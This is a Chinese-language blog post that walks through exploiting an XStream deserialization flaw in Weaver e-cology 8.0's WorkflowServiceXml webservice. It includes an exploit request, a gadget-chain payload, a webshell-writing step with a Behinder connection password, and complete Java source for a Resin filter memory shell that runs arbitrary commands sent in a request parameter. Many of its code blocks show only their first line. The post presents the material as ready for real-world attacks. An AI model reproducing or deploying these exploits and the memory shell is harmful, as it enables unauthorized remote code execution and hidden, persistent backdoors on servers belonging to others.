泛微Xstream反序列化漏洞分析
漏洞分析
POC大致如下
1 | POST /services%20/WorkflowServiceXml HTTP/1.1 |
根据作者提供的POC可以知道作者访问了webservice的接口,这类请求会交给XFireConfigurableServlet进行处理。
1 | services/WorkflowServiceXml |
查看了xfire组件的使用案例,在service.xml中会配置service的接口和实现类。
想要查看某个接口的调用方式也比较简单,直接访问services目录,可以看到所有的service接口。
再利用wsdler解析我们需要的数据包。
请求后会交给weaver.workflow.webservices.WorkflowServiceImplXml#doCreateWorkflowRequest
进行处理,将我们传入的var1参数通过xmlToObject进行解析。
最终会通过xstream进行解析,我目前使用的是泛微8.0,对应的xstream的版本为1.3,并不是最新的版本,因此存在反序列化漏洞。
漏洞利用
由于我们传入的内容会被当作一个参数传入,特殊字符会对原本的xml请求解析造成影响,因此需要进行html编码。
使用URLDNS进行探测
1 | <map> |
命令执行
1 | <java.util.PriorityQueue serialization='custom'> |
使用BCEL编解码工具对这段内容解压。
内容如下,虽然calc成功执行了,但是后面的内容没有执行,可能是版本的问题,我在泛微8.0的resin中并没有找到TcpSocketLink类。但是在resin4.0中确实是存在的。
1 | public class fuckyou { |
当然仅仅是calc并不满足实战的要求,现在有两个思路,一个思路是找到物理路径或者使用相对路径写shell,另一个思路就是直接写一个内存马。
写shell
只要获取到网站的根目录,再去写文件就可以了。
1 | import java.io.BufferedWriter; |
利用EXP
1 | POST //services/WorkflowServiceXml HTTP/1.1 |
访问SystemRightqroup.jsp,使用冰蝎3连接,密码sectest666
写内存马
之前想要写resin的内存马,看网上的文章是需要获取webapp对象,但是我经过分析并没有找到可以获取webapp对象的方法,今天刚好在网上看到了有人给出了resin写内存马的exp。
1 | ClassLoader classloader = Thread.currentThread().getContextClassLoader(); |
下面我也实现了一个filter cmd马的demo,这里需要注意的是,通过filter内存马不能植入冰蝎,因为冰蝎需要获取pagecontext对象,而filter无法获取pagecontext对象。
1 | import com.caucho.server.dispatch.FilterConfigImpl;import com.caucho.server.dispatch.FilterMapper;import com.caucho.server.dispatch.FilterMapping;import com.caucho.server.webapp.WebApp;import javax.servlet.*;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.io.PrintWriter;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.ArrayList;public class HelloWorld extends HttpServlet { class ResinFilter implements Filter { private final String cmdParamName = "sectest666"; private ResinFilter() { } public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd; if ((cmd = servletRequest.getParameter("sectest666")) == null) { filterChain.doFilter(servletRequest, servletResponse); } else { Process process = Runtime.getRuntime().exec(cmd); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); } } public void destroy() { } } protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { ClassLoader classloader = Thread.currentThread().getContextClassLoader(); Class servletInvocationcls = null; try { servletInvocationcls = classloader.loadClass("com.caucho.server.webapp.WebApp"); Class filterConfigimplcls = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl"); Class filterMappingcls = classloader.loadClass("com.caucho.server.dispatch.FilterMapping"); Class filterMappercls = classloader.loadClass("com.caucho.server.dispatch.FilterMapper"); WebApp webapp = (WebApp)servletInvocationcls.getMethod("getCurrent").invoke(null);// WebApp webapp = servletService.getMethod("getDefaultWebApp").invoke(null); String newFilterStr = "ResinShell"; Filter test=new ResinFilter(); Class ResinFilter=test.getClass(); FilterConfigImpl filterConfigimpl = (FilterConfigImpl)filterConfigimplcls.newInstance(); filterConfigimpl.setFilterName(newFilterStr); filterConfigimpl.setFilter(test); filterConfigimpl.setFilterClass(ResinFilter); webapp.addFilter(filterConfigimpl); FilterMapping filterMapping = (FilterMapping)filterMappingcls.newInstance(); FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern(); filterMappingUrlpattern.addText("/abcd"); filterMappingUrlpattern.init(); filterMapping.setFilterName(newFilterStr); filterMapping.setServletContext(webapp); Field fieldWebappFilterMapper = null; try { fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper"); } catch (NoSuchFieldException var23) { fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper"); } fieldWebappFilterMapper.setAccessible(true); FilterMapper filtermapper = (FilterMapper)fieldWebappFilterMapper.get(webapp); Field fieldFilterMapperFilterMap = filterMappercls.getDeclaredField("_filterMap"); fieldFilterMapperFilterMap.setAccessible(true); ArrayList<FilterMapping> orginalfilterMappings = (ArrayList)fieldFilterMapperFilterMap.get(filtermapper); ArrayList<FilterMapping> newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1); newFilterMappings.add(filterMapping); int count; for(count = 0; count < orginalfilterMappings.size(); ++count) { newFilterMappings.add(orginalfilterMappings.get(count)); } fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings); fieldWebappFilterMapper.set(webapp, filtermapper); Field fieldWebappLoginFilterMapper = null; try { fieldWebappLoginFilterMapper = webapp.getClass().getDeclaredField("_loginFilterMapper"); } catch (NoSuchFieldException var22) { fieldWebappLoginFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_loginFilterMaper"); } fieldWebappLoginFilterMapper.setAccessible(true); FilterMapper loginFilterMapper = (FilterMapper)fieldWebappLoginFilterMapper.get(webapp); ArrayList<FilterMapping> orginLoginFilterMappings = (ArrayList)fieldFilterMapperFilterMap.get(loginFilterMapper); ArrayList<FilterMapping> newLoginFilterMappings = new ArrayList(orginLoginFilterMappings.size() + 1); newLoginFilterMappings.add(filterMapping); for(count = 0; count < orginLoginFilterMappings.size(); ++count) { newLoginFilterMappings.add(orginLoginFilterMappings.get(count)); } fieldFilterMapperFilterMap.set(loginFilterMapper, newLoginFilterMappings); fieldWebappLoginFilterMapper.set(webapp, loginFilterMapper); webapp.getClass().getMethod("clearCache").invoke(webapp); } catch (ClassNotFoundException | NoSuchMethodException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } } @Override public void destroy() { System.out.println("servlet has been destory!!!"); super.destroy(); }} |
访问servlet后会注入filter,大致效果如下
Filter内存马原理分析
首先我们自己注册一个Filter,查看到达自定义filter的调用链,可以看到我们自定义的filter被存储在this._filter中,而this._filter
又是通过创建FilterFilterChain对象得到的赋值,因此需要去搜索哪里创建了这个对象。
所以我们在com.caucho.server.dispatch.FilterFilterChain#FilterFilterChain
方法上创建一个方法断点,重启webserver,在com.caucho.server.dispatch.FilterMapper#addFilter
中进行了调用,addFilter中的chain和filter主要来自于上层调用的com.caucho.server.dispatch.FilterMapper#buildDispatchChain
方法,因此我们需要分析这个方法。
我们主要关注如何得到filter,filter对象是通过this._filterManager.createFilter(filterName);
执行后得到的结果,其中filteName是通过this._filterMap得到的,所以要创建filter需要得到this._filterMap
。
在看看com.caucho.server.dispatch.FilterManager#createFilter
方法,即使获取了filterName对象,需要从this._filters获取对应的FilterConfigImpl实现类。可以通过com.caucho.server.dispatch.FilterManager#addFilter
进行添加。需要传入一个FilterConfigImpl实例。
在addFilter处下一个方法断点,可以看到通过com.caucho.server.webapp.WebApp#addFilter(com.caucho.server.dispatch.FilterConfigImpl)
调用了addFilter方法。这里需要一个this._filterManager对象,在初始化webApp类时即可获取该对象,因此只要得到WebApp即可获取 _filterManager.
再看看 _filterMap是如何获取的,可以看到是在com.caucho.server.dispatch.FilterMapper#addFilterMapping
中通过this._filterMap.add(mapping);
添加得到的。但这里有两点需要注意,一方面是mapping也是传进来的,另一方面只有this._filterManager.getFilter(filterName)
不为空才会执行add方法。所以再调用add之前需要给this._filterManager添加我们的FilterConfigImpl对象。
同样在addFilterMapping打断点,可以看到是在WebApp.addFilterMapping方法调用了该方法.
查看自定义Filter,在创建FilterConfigImpl对象时,包含了_filterName, _filterClassName, _filterClass, _webApp, _servletContext, _filerManager信息,所以我们动态创建的FilterConfigImpl对象也应该包含这些信息。
但是在com.caucho.server.webapp.WebApp#addFilterMapping
中需要创建FilterMapping对象,查看类的继承关系,发现FilterMapping是FilterConfigImpl的子类,因此直接创建FilterMapping就好了。
所以整体的Filter型内存马思路如下:
1 | 1. 获取WebApp对象2. 创建FilterMapping对象,并设置_filterName, _filterClassName, _filterClass, _webApp, _servletContext, _filerManager,_urlpattern等信息。3. 通过WebApp.addFilterMapping设置 _filter的信息。 |
获取WebApp对象
首先是要获取WebApp的类加载器,我们可以通过ThreadContext获取,其次要获取WebApp对象,所以要寻找返回WebApp对象的方法,最好是static的,static的话我们可以直接通过反射获取而不用再去获取那个对象。经过搜索可以通过调用com.caucho.server.webapp.WebApp#getCurrent
来获取,所以获取WebApp对象的代码如下。
1 | ClassLoader classloader = Thread.currentThread().getContextClassLoader(); Class app = classloader.loadClass("com.caucho.server.webapp.WebApp"); WebApp webapp = (WebApp)servletInvocationcls.getMethod("getCurrent").invoke(null); |
创建FilterMapping对象
1 | FilterMapping mapping=new FilterMapping(); mapping.setFilterName("test666"); //设置_filterName Filter test=new ResinFilter(); mapping.setFilter(test); Class ResinFilter=test.getClass(); //获取要FilterClass mapping.setFilterClass(ResinFilter);//设置_filerClass mapping.setWebApp(webapp); //设置webapp webapp.addFilter(mapping); //设置servletContext,_filterManager和webApp,调用com.caucho.server.dispatch.FilterManager#addFilter向_filters中添加内容。 FilterMapping.URLPattern part=mapping.createUrlPattern(); part.addText("test666");// 向_urlPattern和_urlPatterns添加内容。 webapp.addFilterMapping(mapping); //向_filterMapper写入内容。 |
最后整体代码如下
1 | ClassLoader classloader = Thread.currentThread().getContextClassLoader(); |